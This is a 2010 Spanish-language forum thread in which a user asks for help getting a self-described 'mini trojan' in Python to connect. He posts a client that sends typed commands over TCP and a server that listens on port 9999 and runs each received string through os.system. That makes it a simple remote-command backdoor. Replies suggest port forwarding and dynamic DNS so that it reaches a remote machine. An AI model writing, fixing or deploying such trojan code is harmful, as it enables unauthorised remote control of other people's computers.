[Python] Ayuda con mini troyano

Iniciado por .:Swik:., 6 Junio 2010, 17:49 PM

0 Miembros y 1 Visitante están viendo este tema.

.:Swik:.

Hola a todos. Estoy intentanto hacer un minitroyano en python pero no se conecta. El caso es que si lo hago en local si me sale. Aqui os dejo el code:

Cliente.py

Código (python) [Seleccionar]
import socket


Host = 'XXXXXXXXX'
Port = 9999
Connection = (Host, Port) #Juntamos el Host y el Puerto en una tupla

TCP_Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Definimos el tipo de Socket, TCP
TCP_Socket.connect(Connection) #Nos connectamos al Host y Puerto de la variable Connection

while 1:
    comando = raw_input('>>> ')
    TCP_Socket.send(comando)
    if comando == 'exit':
        break


server
Código (python) [Seleccionar]
import socket as sc
from os import system as sys

server = sc.socket(sc.AF_INET, sc.SOCK_STREAM)
server.bind(('', 9999))
server.listen(1)

while 1:
    socket_cliente, datos_cliente = server.accept()
    seguir = True
    while seguir:
        peticion = socket_cliente.recv(XXXXXXX)
        if peticion == 'exit':
            socket_cliente.close()
            seguir = False
        else:
            socket_cliente.send(sys('%s' % peticion))
    break

Cygog

El code parece que esta bien.. QUizas el problema sea que la maquina remota posee el puerto " 9999 " cerrado..

.:Swik:.

Que va... Lo estoy probando con un amigo y tiene el puerto abierto...

Debci

Tienes la IP publica redirecionada a la interna? A mi estas cosas solo me funcionan bien si lo hago un no-ip y modificando la tabla de Hosts!

Saludos